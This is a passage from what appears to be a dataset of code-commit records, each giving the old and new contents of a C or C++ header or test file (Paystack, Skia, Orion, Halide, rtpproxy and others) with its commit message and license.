obuf_puts(&outbuf, \"result=\");\n  obuf_puti(&outbuf, result);\n  NL();\n  return result;\n}\n\n#define MAIN void selftest(void)\nMAIN;\n\nint main(void)\n{\n  selftest();\n  obuf_flush(&outbuf);\n  obuf_flush(&errbuf);\n  return 0;\n}\n","subject":"Return the result of debugged functions, and flush stderr on exit.","message":"Return the result of debugged functions, and flush stderr on exit.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"bd1ce049956272df99ec52598a2234afa32b3055","old_file":"Paystack\/PublicHeaders\/PSTCKTransactionParams.h","new_file":"Paystack\/PublicHeaders\/PSTCKTransactionParams.h","old_contents":"\/\/\n\/\/  PSTCKTransactionParams.h\n\/\/  Paystack\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"PSTCKFormEncodable.h\"\n\/**\n *  Representation of the transaction to perform on a card\n *\/\n@interface PSTCKTransactionParams : NSObject<PSTCKFormEncodable>\n\n@property (nonatomic, copy, nonnull) NSString *email;\n@property (nonatomic) NSUInteger amount;\n@property (nonatomic, copy, nullable) NSString *reference;\n@property (nonatomic, copy, nullable) NSString *subaccount;\n@property (nonatomic) NSInteger transaction_charge;\n@property (nonatomic, copy, nullable) NSString *bearer;\n@property (nonatomic, readonly, nullable) NSString *metadata;\n@property (nonatomic, readonly, nullable) NSString *plan;\n@property (nonatomic, readonly, nullable) NSString *currency;\n\n- (nullable PSTCKTransactionParams *) setMetadataValue:(nonnull NSString*)value\n                   forKey:(nonnull NSString*)key\n                    error:(NSError * _Nullable __autoreleasing * _Nonnull) error;\n\n- (nullable PSTCKTransactionParams *) setCustomFieldValue:(nonnull NSString*)value\n                 displayedAs:(nonnull NSString*)display_name\n                       error:(NSError * _Nullable __autoreleasing * _Nonnull) error;\n@end\n","new_contents":"\/\/\n\/\/  PSTCKTransactionParams.h\n\/\/  Paystack\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"PSTCKFormEncodable.h\"\n\/**\n *  Representation of the transaction to perform on a card\n *\/\n@interface PSTCKTransactionParams : NSObject<PSTCKFormEncodable>\n\n@property (nonatomic, copy, nonnull) NSString *email;\n@property (nonatomic) NSUInteger amount;\n@property (nonatomic, copy, nullable) NSString *reference;\n@property (nonatomic, copy, nullable) NSString *subaccount;\n@property (nonatomic) NSInteger transaction_charge;\n@property (nonatomic, copy, nullable) NSString *bearer;\n@property (nonatomic, readonly, nullable) NSString *metadata;\n@property (nonatomic, nullable) NSString *plan;\n@property (nonatomic, nullable) NSString *currency;\n\n- (nullable PSTCKTransactionParams *) setMetadataValue:(nonnull NSString*)value\n                   forKey:(nonnull NSString*)key\n                    error:(NSError * _Nullable __autoreleasing * _Nonnull) error;\n\n- (nullable PSTCKTransactionParams *) setCustomFieldValue:(nonnull NSString*)value\n                 displayedAs:(nonnull NSString*)display_name\n                       error:(NSError * _Nullable __autoreleasing * _Nonnull) error;\n@end\n","subject":"Make sure plan and currency are not readonly","message":"[fix] Make sure plan and currency are not readonly\n","lang":"C","license":"mit","repos":"PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios"}
{"commit":"e0540dc80d92c82729dc8b40aeae20d3011dc46e","old_file":"decl.h","new_file":"decl.h","old_contents":"#ifndef DECL_H\n#define DECL_H\n\n#include <stdlib.h>\n\ntypedef enum DeclSpec {\n    DECL_SPEC_NONE = 0x0,\n    DECL_SPEC_FLOAT = 0x1,\n    DECL_SPEC_INT = 0x2,\n    DECL_SPEC_SIGNED = 0x4,\n    DECL_SPEC_UNSIGNED = 0x8,\n    DECL_SPEC_VOID = 0x10,\n} DeclSpec;\n\ntypedef size_t DeclSpecs;\n\n#endif\n","new_contents":"#ifndef DECL_H\n#define DECL_H\n\n#include <stdint.h>\n\ntypedef enum DeclSpec {\n    DECL_SPEC_NONE = 0x0,\n    DECL_SPEC_FLOAT = 0x1,\n    DECL_SPEC_INT = 0x2,\n    DECL_SPEC_SIGNED = 0x4,\n    DECL_SPEC_UNSIGNED = 0x8,\n    DECL_SPEC_VOID = 0x10,\n} DeclSpec;\n\ntypedef uint16_t DeclSpecs;\n\n#endif\n","subject":"Change type of DeclSpecs to uint16_t","message":"Change type of DeclSpecs to uint16_t\n\nUsing size_t was a bit overkill.\n","lang":"C","license":"unlicense","repos":"InternetUnexplorer\/Periapsis-CC"}
{"commit":"8be89090023f91110dd9cabc7e716a85942abbe0","old_file":"ext\/dlib\/missing.h","new_file":"ext\/dlib\/missing.h","old_contents":"#ifndef DLIB_MISSING_H\n#define DLIB_MISSING_H\n\n#include <ruby\/ruby.h>\n\n#if defined(__cplusplus)\nextern \"C\" {\n#if 0\n} \/* satisfy cc-mode *\/\n#endif\n#endif\n\n\n#ifndef HAVE_RB_GET_KWARGS\nint rb_get_kwargs(VALUE keyword_hash, const ID *table, int required, int optional, VALUE *values);\n#endif\n\n\n#if defined(__cplusplus)\n#if 0\n{ \/* satisfy cc-mode *\/\n#endif\n}  \/* extern \"C\" { *\/\n#endif\n\n#endif \/* DLIB_MISSING_H *\/\n","new_contents":"#ifndef DLIB_MISSING_H\n#define DLIB_MISSING_H\n\n#include <ruby\/ruby.h>\n\n#if defined(__cplusplus)\nextern \"C\" {\n#if 0\n} \/* satisfy cc-mode *\/\n#endif\n#endif\n\nint rb_get_kwargs(VALUE keyword_hash, const ID *table, int required, int optional, VALUE *values);\n\n#if defined(__cplusplus)\n#if 0\n{ \/* satisfy cc-mode *\/\n#endif\n}  \/* extern \"C\" { *\/\n#endif\n\n#endif \/* DLIB_MISSING_H *\/\n","subject":"Remove gard around of the prototype declaration of rb_get_kwargs for Ruby 2.1.x","message":"Remove gard around of the prototype declaration of rb_get_kwargs for Ruby 2.1.x\n","lang":"C","license":"mit","repos":"mrkn\/ruby-dlib,ruby-dlib\/ruby-dlib,mrkn\/ruby-dlib,ruby-dlib\/ruby-dlib,ruby-dlib\/ruby-dlib,ruby-dlib\/ruby-dlib,mrkn\/ruby-dlib,ruby-dlib\/ruby-dlib,mrkn\/ruby-dlib,mrkn\/ruby-dlib,ruby-dlib\/ruby-dlib,mrkn\/ruby-dlib,ruby-dlib\/ruby-dlib,ruby-dlib\/ruby-dlib,mrkn\/ruby-dlib,mrkn\/ruby-dlib,ruby-dlib\/ruby-dlib"}
{"commit":"38b86922ff11a6b6ce4c44109e303195230c9483","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n \n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n  \/\/ b\/145995037\n  #define SK_LEGACY_WEBP_LOOP_COUNT\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n \n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Enable a WebP AID to show its animation one time","message":"Enable a WebP AID to show its animation one time\n\nBug: 145995037\nTest: I3d1032b5605c5b6ea64cee0cda91c2ba2a769da8\n\nAs described in https:\/\/skia-review.googlesource.com\/c\/skia\/+\/259161,\nSkia has modified its interpretation of a WebP file's encoded loop\ncount to match Chromium and the latest WebP intent. This updates to the\nnew behavior.\n\nRevert \"Maintain the legacy behavior for WebP loop count\"\n\nThis reverts commit c33df657a16fbc23df2b6ec1c38060060cd3608a.\n\nChange-Id: I821744336bab9fd494d6666268c6c95b24b69909\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"8ac7ff143a5bd654ce8092586f887a846a268805","old_file":"include\/rtupdate.h","new_file":"include\/rtupdate.h","old_contents":"#ifndef _RTUPDATE_H_ \n#define _RTUPDATE_H_ 1\n\n#define MAXPUPARR 100\n#define MAXPUPS 20\n#define NOPUPDATE 78787878 \/\/ hopefully never a real p-value!\n\n\/* For rtperf *\/\n\/* DJT:  modified to work with JG's objlib.h *\/\ntypedef enum {\n  NONE,\n  ATTACK,\n  DECAY,\n  SUSTAIN,\n  RELEASE,\n  END\n} EnvType;\n\nGLOBAL int curtag;                \/* current note tag *\/\nGLOBAL int tags_on;               \/* using note tags for rtupdates *\/\nGLOBAL int tag_sem;\n\n\/* contains the values to be updated -- a recirculating array *\/\nGLOBAL float pupdatevals[MAXPUPARR][MAXPUPS];\n\n#endif\n","new_contents":"#ifndef _RTUPDATE_H_ \n#define _RTUPDATE_H_ 1\n\n#define MAXPUPARR 100\n#define MAXPUPS 20\n#define NOPUPDATE 78787878 \/\/ hopefully never a real p-value!\n\n\/* For rtperf *\/\n\/* DJT:  modified to work with JG's objlib.h *\/\ntypedef enum {\n  NONE,\n  RISE,\n  SUSTAIN,\n  DECAY\n} EnvType;\n\n#ifndef GLOBAL\n#define GLOBAL extern\n#endif\nGLOBAL int curtag;                \/* current note tag *\/\nGLOBAL int tags_on;               \/* using note tags for rtupdates *\/\nGLOBAL int tag_sem;\n\n\/* contains the values to be updated -- a recirculating array *\/\nGLOBAL float pupdatevals[MAXPUPARR][MAXPUPS];\n\n#endif\n","subject":"Reset EnvType and changed objdefs.h","message":"Reset EnvType and changed objdefs.h\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"2ee76a586066f76ded155a910c4065fbbe198032","old_file":"src\/rosecommon\/include\/components\/warpgate.h","new_file":"src\/rosecommon\/include\/components\/warpgate.h","old_contents":"#pragma once\n\n#include <cmath>\n#include <tuple>\n\nnamespace Component {\nstruct Warpgate {\n    int16_t id;\n\n    float min_x;\n    float min_y;\n    float min_z;\n    float max_x;\n    float max_y;\n    float max_z;\n    static constexpr float character_size = 2000.f;\n\n    uint16_t dest_map;\n\n    static constexpr inline float squared(float x) { return x * x; }\n    \n    std::tuple<float, float, float> get_center() const {\n        return {(max_x + min_x) \/ 2.f, (max_y + min_y) \/ 2.f, (max_z + min_z) \/ 2.f};\n    }\n    \n    bool is_point_in(float x, float y, [[maybe_unused]] float z) {\n        float dist_squared = squared(character_size);\n        if (x < min_x) dist_squared -= squared(x - min_x);\n        else if (x > max_x) dist_squared -= squared(x - max_x);\n        if (y < min_y) dist_squared -= squared(y - min_y);\n        else if (y > max_y) dist_squared -= squared(y - max_y);\n        \/\/if (z < min_z) dist_squared -= squared(z - min_z);\n        \/\/else if (z > max_z) dist_squared -= squared(z - max_z);\n        return dist_squared > 0;\n    }\n};\n}\n","new_contents":"#pragma once\n\n#include <cmath>\n#include <tuple>\n\nnamespace Component {\nstruct Warpgate {\n    int16_t id;\n\n    float min_x;\n    float min_y;\n    float min_z;\n    float max_x;\n    float max_y;\n    float max_z;\n    static constexpr float character_size = 200.f;\n\n    uint16_t dest_map;\n\n    static constexpr inline float squared(float x) { return x * x; }\n    \n    std::tuple<float, float, float> get_center() const {\n        return {(max_x + min_x) \/ 2.f, (max_y + min_y) \/ 2.f, (max_z + min_z) \/ 2.f};\n    }\n    \n    bool is_point_in(float x, float y, [[maybe_unused]] float z) {\n        float dist_squared = squared(character_size);\n        if (x < min_x) dist_squared -= squared(x - min_x);\n        else if (x > max_x) dist_squared -= squared(x - max_x);\n        if (y < min_y) dist_squared -= squared(y - min_y);\n        else if (y > max_y) dist_squared -= squared(y - max_y);\n        \/\/if (z < min_z) dist_squared -= squared(z - min_z);\n        \/\/else if (z > max_z) dist_squared -= squared(z - max_z);\n        return dist_squared > 0;\n    }\n};\n}\n","subject":"Reduce character size to 2 units","message":"Reduce character size to 2 units\n","lang":"C","license":"apache-2.0","repos":"RavenX8\/osIROSE-new,dev-osrose\/osIROSE-new,RavenX8\/osIROSE-new,dev-osrose\/osIROSE-new,RavenX8\/osIROSE-new,dev-osrose\/osIROSE-new"}
{"commit":"38fdeceb8c64ea45498275abaa15956f73712423","old_file":"src\/app\/contextBroker\/version.h","new_file":"src\/app\/contextBroker\/version.h","old_contents":"#ifndef SRC_APP_CONTEXTBROKER_VERSION_H_\n#define SRC_APP_CONTEXTBROKER_VERSION_H_\n\n\/*\n*\n* Copyright 2013 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* iot_support at tid dot es\n*\n* Author: Ken Zangelin\n*\/\n\n\n\n#define ORION_VERSION \"0.21.0-nextç\"\n\n#endif  \/\/ SRC_APP_CONTEXTBROKER_VERSION_H_\n","new_contents":"#ifndef SRC_APP_CONTEXTBROKER_VERSION_H_\n#define SRC_APP_CONTEXTBROKER_VERSION_H_\n\n\/*\n*\n* Copyright 2013 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* iot_support at tid dot es\n*\n* Author: Ken Zangelin\n*\/\n\n\n\n#define ORION_VERSION \"0.21.0-next\"\n\n#endif  \/\/ SRC_APP_CONTEXTBROKER_VERSION_H_\n","subject":"FIX typo: 0.21-nextç -> 0.21.0-next","message":"FIX typo: 0.21-nextç -> 0.21.0-next\n","lang":"C","license":"agpl-3.0","repos":"telefonicaid\/fiware-orion,fortizc\/fiware-orion,yalp\/fiware-orion,j1fig\/fiware-orion,gavioto\/fiware-orion,pacificIT\/fiware-orion,McMutton\/fiware-orion,fortizc\/fiware-orion,Fiware\/context.Orion,McMutton\/fiware-orion,pacificIT\/fiware-orion,fiwareulpgcmirror\/fiware-orion,Fiware\/data.Orion,pacificIT\/fiware-orion,jmcanterafonseca\/fiware-orion,fortizc\/fiware-orion,jmcanterafonseca\/fiware-orion,Fiware\/context.Orion,j1fig\/fiware-orion,Fiware\/data.Orion,jmcanterafonseca\/fiware-orion,fiwareulpgcmirror\/fiware-orion,yalp\/fiware-orion,fiwareulpgcmirror\/fiware-orion,telefonicaid\/fiware-orion,telefonicaid\/fiware-orion,fortizc\/fiware-orion,Fiware\/data.Orion,gavioto\/fiware-orion,j1fig\/fiware-orion,yalp\/fiware-orion,j1fig\/fiware-orion,McMutton\/fiware-orion,guerrerocarlos\/fiware-orion,fiwareulpgcmirror\/fiware-orion,telefonicaid\/fiware-orion,McMutton\/fiware-orion,gavioto\/fiware-orion,gavioto\/fiware-orion,McMutton\/fiware-orion,McMutton\/fiware-orion,Fiware\/context.Orion,Fiware\/data.Orion,jmcanterafonseca\/fiware-orion,telefonicaid\/fiware-orion,yalp\/fiware-orion,fiwareulpgcmirror\/fiware-orion,guerrerocarlos\/fiware-orion,telefonicaid\/fiware-orion,Fiware\/context.Orion,guerrerocarlos\/fiware-orion,fortizc\/fiware-orion,pacificIT\/fiware-orion,Fiware\/data.Orion,McMutton\/fiware-orion,j1fig\/fiware-orion,yalp\/fiware-orion,Fiware\/context.Orion,jmcanterafonseca\/fiware-orion,gavioto\/fiware-orion,guerrerocarlos\/fiware-orion,pacificIT\/fiware-orion,jmcanterafonseca\/fiware-orion,fiwareulpgcmirror\/fiware-orion,fortizc\/fiware-orion,Fiware\/data.Orion,Fiware\/context.Orion,guerrerocarlos\/fiware-orion"}
{"commit":"41ee268a0a7641835821d0d53e67e04b1c821f1a","old_file":"sh4.h","new_file":"sh4.h","old_contents":"","new_contents":"#ifndef __sh4_h__\n#define __sh4_h__\n\nenum {\n  SH4_BASE = 0x4000,\n  Rm,\n  Rn,\n  FRm,\n  FRn,\n  i8,\n  i20,\n  Pr15, \/\/ [R15++]\n\n  Dn,   \/\/ [--Rn]\n  Pn,   \/\/ [Rn++]\n  dn,   \/\/ [Rn]\n  dn0,  \/\/ [Rn+R0]\n  d4n,  \/\/ [Rn+d4]\n  d12n, \/\/ [Rn+d12]\n\n  Dm,   \/\/ [--Rm]\n  Pm,   \/\/ [Rm++]\n  dm,   \/\/ [Rm]\n  dm0,  \/\/ [Rm+R0]\n  d4m,  \/\/ [Rm+d4]\n  d12m, \/\/ [Rm+d12]\n  dmp,  \/\/ [Rm+PC]\n\n  d8g,  \/\/ [GBR+d8]\n  dr0g, \/\/ [GBR+R0]\n  d8p,  \/\/ [PC+d8]\n\n  j8,\n  j12,\n\n  _fT,\n  _fS,\n  _fM,\n  _fQ,\n\n  SIZE_FLOAT = 'f' << SIZE_SHIFT,\n\n  R0  = TYPE_REG+SIZE_DWORD,\n  R15 = TYPE_REG+SIZE_DWORD+15,\n  PC  = TYPE_REG+SIZE_DWORD+16,\n\n  rMACH,\n  rMACL,\n  rPR,\n  rSGR,\n  rDSR,\n  rFPUL,\n  rA0,\n  rX0,\n  rX1,\n  rY0,\n  rY1,\n  rDBR,\n  rGBR,\n  rVBR,\n  rTBR,\n  rSSR,\n  rSR,\n  rSPC,\n  rMOD,\n  rRS,\n  rRE,\n};\n\n\n#endif\n","subject":"Move SH4 definitions to header file","message":"Move SH4 definitions to header file\n","lang":"C","license":"mit","repos":"jharg\/tinydis"}
{"commit":"e886106cb7bb55ac587aa09c2957ae63cef458eb","old_file":"src\/rtpp_debugon.h","new_file":"src\/rtpp_debugon.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2019 Sippy Software, Inc., http:\/\/www.sippysoft.com\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\/\n\n\/* Do not include directly, droppen in automatically *\/\n\n#include \"rtpp_memdeb.h\"\n#include \"rtpp_autoglitch.h\"\n","subject":"Add centralized header which would include all other debug headers (memdeb, glitching at the moment).","message":"Add centralized header which would include all other debug\nheaders (memdeb, glitching at the moment).\n","lang":"C","license":"bsd-2-clause","repos":"sippy\/rtpproxy,dsanders11\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy"}
{"commit":"690ee200b01d8d94aadb7d47778ccc1cef92d097","old_file":"tests\/regression\/02-base\/70-escape-unknown.c","new_file":"tests\/regression\/02-base\/70-escape-unknown.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nint *p;\n\nvoid *t_fun(void *arg) {\n  if (arg != NULL) {\n    *((int*)arg) = 42;\n  }\n  return NULL;\n}\n\nint main() {\n  pthread_t id, id2;\n  int *r; \/\/ unknown\n  int i = 5;\n\n  pthread_create(&id, NULL, t_fun, NULL); \/\/ enter multithreaded\n\n  p = r;\n  p = &i;\n\n  pthread_create(&id2, NULL, t_fun, p); \/\/ i should escape, even if p contains unknown\n\n  assert(i == 5); \/\/ UNKNOWN!\n\n  return 0;\n}","subject":"Add test where address containing unknown should escape known","message":"Add test where address containing unknown should escape known\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4eac43e1548ee38d9ff3e1ce348090e4fb6170ed","old_file":"src\/runtime\/buf_size.h","new_file":"src\/runtime\/buf_size.h","old_contents":"","new_contents":"#ifndef HALIDE_BUF_SIZE_H\n#define HALIDE_BUF_SIZE_H\n\n\/\/ TODO: in new buffer_t, add an inline method to do this and kill this file.\n\n\/\/ Compute the total amount of memory we'd need to allocate on gpu to\n\/\/ represent a given buffer (using the same strides as the host\n\/\/ allocation).\nWEAK size_t buf_size(const buffer_t *buf) {\n    size_t size = buf->elem_size;\n    for (size_t i = 0; i < sizeof(buf->stride) \/ sizeof(buf->stride[0]); i++) {\n        size_t positive_stride;\n        if (buf->stride[i] < 0) {\n            positive_stride = (size_t)-buf->stride[i];\n        } else {\n            positive_stride = (size_t)buf->stride[i];\n        }\n        size_t total_dim_size = buf->elem_size * buf->extent[i] * positive_stride;\n        if (total_dim_size > size) {\n            size = total_dim_size;\n        }\n    }\n    return size;\n}\n\n#endif \/\/ HALIDE_BUF_SIZE_H\n","subject":"Add new file that was forgotten.","message":"Add new file that was forgotten.\n\n\nFormer-commit-id: b3d410c04e682cdb096bc1211544b9cf6a7186bf","lang":"C","license":"mit","repos":"darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide"}
{"commit":"941fc625118da6210a2d666d596d7ca318110803","old_file":"elang\/lir\/emitters\/code_buffer_user.h","new_file":"elang\/lir\/emitters\/code_buffer_user.h","old_contents":"\/\/ Copyright 2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_LIR_EMITTERS_CODE_BUFFER_USER_H_\n#define ELANG_LIR_EMITTERS_CODE_BUFFER_USER_H_\n\n#include \"base\/basictypes.h\"\n\nnamespace elang {\nnamespace lir {\n\nclass CodeBuffer;\nstruct Value;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeBufferUser\n\/\/\nclass CodeBufferUser {\n protected:\n  explicit CodeBufferUser(CodeBuffer* code_buffer);\n  ~CodeBufferUser();\n\n  void AssociateValue(Value value);\n  void Emit16(int data);\n  void Emit32(uint32_t data);\n  void Emit64(uint64_t data);\n  void Emit8(int data);\n\n private:\n  CodeBuffer* const code_buffer_;\n\n  DISALLOW_COPY_AND_ASSIGN(CodeBufferUser);\n};\n\n}  \/\/ namespace lir\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_LIR_EMITTERS_CODE_BUFFER_USER_H_\n","new_contents":"\/\/ Copyright 2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_LIR_EMITTERS_CODE_BUFFER_USER_H_\n#define ELANG_LIR_EMITTERS_CODE_BUFFER_USER_H_\n\n#include \"base\/basictypes.h\"\n\nnamespace elang {\nnamespace lir {\n\nclass CodeBuffer;\nstruct Value;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ CodeBufferUser\n\/\/\nclass CodeBufferUser {\n protected:\n  explicit CodeBufferUser(CodeBuffer* code_buffer);\n  ~CodeBufferUser();\n\n  CodeBuffer* code_buffer() const { return code_buffer_; }\n\n  void AssociateValue(Value value);\n  void Emit16(int data);\n  void Emit32(uint32_t data);\n  void Emit64(uint64_t data);\n  void Emit8(int data);\n\n private:\n  CodeBuffer* const code_buffer_;\n\n  DISALLOW_COPY_AND_ASSIGN(CodeBufferUser);\n};\n\n}  \/\/ namespace lir\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_LIR_EMITTERS_CODE_BUFFER_USER_H_\n","subject":"Introduce |CodeBufferUser::code_buffer()| to use |CodeBuffer::EmitJump()| for 'br' instruction emitter.","message":"elang\/lir\/emitters: Introduce |CodeBufferUser::code_buffer()| to use |CodeBuffer::EmitJump()| for 'br' instruction emitter.\n","lang":"C","license":"apache-2.0","repos":"eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang"}
{"commit":"0eaaa9f685cb0200d69f9df901828bb0baf959e5","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\n\n#endif","subject":"Add List Node destroy function declaration","message":"Add List Node destroy function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
